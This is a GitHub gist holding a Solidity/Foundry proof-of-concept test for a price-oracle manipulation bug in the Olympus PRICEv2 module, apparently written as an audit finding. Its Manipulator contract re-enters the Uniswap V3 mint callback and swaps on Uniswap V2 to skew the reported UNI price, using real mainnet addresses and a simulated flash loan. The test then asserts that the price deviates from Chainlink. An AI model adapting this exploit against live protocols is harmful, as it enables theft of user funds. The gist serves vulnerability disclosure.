-
-
Save KupiaSecAdmin/fc7ef6664b191ab2b758a22ab15bf404 to your computer and use it in GitHub Desktop.
Olympus Price Manipulation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: Unlicense | |
pragma solidity >=0.8.0; | |
import {Test} from "forge-std/Test.sol"; | |
import {console2} from "forge-std/console2.sol"; | |
import {ModuleTestFixtureGenerator} from "test/lib/ModuleTestFixtureGenerator.sol"; | |
import "modules/PRICE/OlympusPrice.v2.sol"; | |
import {ChainlinkPriceFeeds} from "modules/PRICE/submodules/feeds/ChainlinkPriceFeeds.sol"; | |
import {UniswapV3Price} from "modules/PRICE/submodules/feeds/UniswapV3Price.sol"; | |
import {UniswapV2PoolTokenPrice, IUniswapV2Pool} from "modules/PRICE/submodules/feeds/UniswapV2PoolTokenPrice.sol"; | |
import {SimplePriceFeedStrategy} from "modules/PRICE/submodules/strategies/SimplePriceFeedStrategy.sol"; | |
import {Deviation} from "libraries/Deviation.sol"; | |
import {AggregatorV2V3Interface} from "interfaces/AggregatorV2V3Interface.sol"; | |
import {IWETH9} from "interfaces/IWETH9.sol"; | |
import {IUniswapV3Pool} from "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol"; | |
import {TickMath} from "@uniswap/v3-core/contracts/libraries/TickMath.sol"; | |
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; | |
interface IUniswapV2Router { | |
function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; | |
} | |
interface IERC20Mint { | |
function mint(address to, uint256 amount) external; | |
} | |
contract Manipulator { | |
address internal immutable wethTokenAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH token address | |
address internal immutable uniTokenAddress = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984; // UNI token address | |
address internal immutable uniEthV3Pool = 0x1d42064Fc4Beb5F8aAF85F4617AE8b3b5B8Bd801; // UNI/ETH pool on Uniswap v3 | |
address internal immutable univ2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Uniswap V2 Router | |
uint256 public manipulatedPrice; | |
PRICEv2 public priceModule; | |
constructor(PRICEv2 price) { | |
priceModule = price; | |
} | |
function uniswapV3MintCallback(uint256 amount0, uint256 amount1, bytes calldata) external { | |
// Manipulate UniV2 price using swap | |
uint256 swapAmount = ERC20(wethTokenAddress).balanceOf(address(this)) - amount1; | |
address[] memory swapPath = new address[](2); | |
swapPath[0] = wethTokenAddress; | |
swapPath[1] = uniTokenAddress; | |
ERC20(wethTokenAddress).approve(univ2Router, swapAmount); | |
IUniswapV2Router(univ2Router).swapExactTokensForTokens(swapAmount, 0, swapPath, address(this), block.timestamp); | |
// Here, UniswapV2 price is manipulated, UniswapV3 price is re-entered. | |
// Thus, Olympus price feeds only depends on UniswapV2 price feed. | |
// Attacker can do attack here using manipulated price. | |
// NOTE: Just save manipulated price to storage for later debug. | |
manipulatedPrice = priceModule.getPrice(uniTokenAddress); | |
// Tansfer UNI and WETH to UniV3 Pool | |
ERC20(uniTokenAddress).transfer(msg.sender, amount0); | |
ERC20(wethTokenAddress).transfer(msg.sender, amount1); | |
} | |
function manipulatePrice() public { | |
// Deposit ETH to WETH | |
IWETH9(wethTokenAddress).deposit{value: address(this).balance}(); | |
// Make UniV3 Pool locked state | |
IUniswapV3Pool(uniEthV3Pool).mint(address(this), TickMath.MIN_TICK / 60 * 60, TickMath.MAX_TICK / 60 * 60, 1e6, ""); | |
} | |
} | |
contract PriceV2ManipulationTest is Test { | |
using ModuleTestFixtureGenerator for OlympusPricev2; | |
address internal immutable uniTokenAddress = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984; // UNI token address | |
address internal immutable wethTokenAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH token address | |
address internal immutable uniEthV2Pool = 0xd3d2E2692501A5c9Ca623199D38826e513033a17; // UNI/ETH pool on Uniswap v2 | |
address internal immutable uniEthV3Pool = 0x1d42064Fc4Beb5F8aAF85F4617AE8b3b5B8Bd801; // UNI/ETH pool on Uniswap v3 | |
address internal immutable uniUsdChainlinkPriceFeed = 0x553303d460EE0afB37EdFf9bE42922D8FF63220e; // UNI/USD price feed on Chainlink | |
address internal immutable ethUsdChainlinkPriceFeed = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; // ETH/USD price feed on Chainlink | |
address internal immutable uniMinter = 0x1a9C8182C09F50C8318d769245beA52c32BE35BC; // UNI token minter | |
Kernel internal kernel; | |
OlympusPricev2 internal price; | |
ChainlinkPriceFeeds internal chainlinkPrice; | |
UniswapV3Price internal univ3Price; | |
UniswapV2PoolTokenPrice internal univ2Price; | |
SimplePriceFeedStrategy internal strategy; | |
address internal writer; | |
function setUp() public { | |
{ | |
// Deploy kernel | |
kernel = new Kernel(); | |
// Deploy price module | |
price = new OlympusPricev2(kernel, 18, 8 hours); | |
// Deploy price submodules | |
chainlinkPrice = new ChainlinkPriceFeeds(price); | |
univ3Price = new UniswapV3Price(price); | |
univ2Price = new UniswapV2PoolTokenPrice(price); | |
strategy = new SimplePriceFeedStrategy(price); | |
// Deploy mock module writer | |
writer = price.generateGodmodeFixture(type(OlympusPricev2).name); | |
} | |
{ | |
kernel.executeAction(Actions.InstallModule, address(price)); | |
kernel.executeAction(Actions.ActivatePolicy, address(writer)); | |
vm.startPrank(writer); | |
price.installSubmodule(chainlinkPrice); | |
price.installSubmodule(univ3Price); | |
price.installSubmodule(univ2Price); | |
price.installSubmodule(strategy); | |
vm.stopPrank(); | |
} | |
} | |
function testPriceManipulation() public { | |
vm.startPrank(writer); | |
// Setup ETH price feeds: [Chainlink] | |
{ | |
ChainlinkPriceFeeds.OneFeedParams memory ethChainlinkFeedParams = ChainlinkPriceFeeds.OneFeedParams( | |
AggregatorV2V3Interface(ethUsdChainlinkPriceFeed), uint48(24 hours)); | |
PRICEv2.Component[] memory feeds = new PRICEv2.Component[](1); | |
feeds[0] = PRICEv2.Component( | |
toSubKeycode("PRICE.CHAINLINK"), | |
ChainlinkPriceFeeds.getOneFeedPrice.selector, | |
abi.encode(ethChainlinkFeedParams) | |
); | |
price.addAsset( | |
wethTokenAddress, | |
false, | |
false, | |
uint32(30 days), | |
uint48(block.timestamp), | |
new uint256[](0), | |
PRICEv2.Component( | |
toSubKeycode("PRICE.SIMPLESTRATEGY"), | |
SimplePriceFeedStrategy.getAveragePriceIfDeviation.selector, | |
abi.encode(uint256(300)) | |
), | |
feeds | |
); | |
} | |
// Setup UNI price feeds: [UniV2, UniV3] | |
{ | |
UniswapV2PoolTokenPrice.UniswapV2PoolParams memory uni2FeedParams = UniswapV2PoolTokenPrice.UniswapV2PoolParams(IUniswapV2Pool(uniEthV2Pool)); | |
UniswapV3Price.UniswapV3Params memory uni3FeedParams = UniswapV3Price.UniswapV3Params(IUniswapV3Pool(uniEthV3Pool), 18, 300); | |
PRICEv2.Component[] memory feeds = new PRICEv2.Component[](2); | |
feeds[0] = PRICEv2.Component( | |
toSubKeycode("PRICE.UNIV2"), | |
UniswapV2PoolTokenPrice.getTokenPrice.selector, | |
abi.encode(uni2FeedParams) | |
); | |
feeds[1] = PRICEv2.Component( | |
toSubKeycode("PRICE.UNIV3"), | |
UniswapV3Price.getTokenPrice.selector, | |
abi.encode(uni3FeedParams) | |
); | |
price.addAsset( | |
uniTokenAddress, | |
false, | |
false, | |
uint32(30 days), | |
uint48(block.timestamp), | |
new uint256[](0), | |
PRICEv2.Component( | |
toSubKeycode("PRICE.SIMPLESTRATEGY"), | |
SimplePriceFeedStrategy.getAveragePriceIfDeviation.selector, | |
abi.encode(uint256(300)) | |
), | |
feeds | |
); | |
} | |
vm.stopPrank(); | |
// UNI price in USD using chainlink price feed | |
uint256 uniPriceChainlink = uint256(AggregatorV2V3Interface(uniUsdChainlinkPriceFeed).latestAnswer()) * 1e10; | |
// UNI price from PRICEv2 module | |
uint256 uniPriceOlympus = price.getPrice(uniTokenAddress); | |
console2.log("Before: Chainklink/Olympus", uniPriceChainlink, uniPriceOlympus); | |
assertFalse(Deviation.isDeviating(uniPriceChainlink, uniPriceOlympus, 100, 10000)); | |
// Forward timestamp because `getPrice` returns saved value if timestamp is not changed | |
vm.warp(block.timestamp + 12); | |
// Manipulate Olympus price | |
Manipulator manipulator = new Manipulator(price); | |
// Deposit ETH and UNI manipulator contract, this is simulated as flashloan | |
vm.deal(address(manipulator), 1000 ether); | |
vm.startPrank(uniMinter); | |
IERC20Mint(uniTokenAddress).mint(address(manipulator), 1000 ether); | |
vm.stopPrank(); | |
// Manipulate UNI price | |
manipulator.manipulatePrice(); | |
// Get manipulated price | |
uniPriceOlympus = manipulator.manipulatedPrice(); | |
console2.log("After: Chainklink/Olympus", uniPriceChainlink, uniPriceOlympus); | |
assertTrue(Deviation.isDeviating(uniPriceChainlink, uniPriceOlympus, 100, 10000)); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment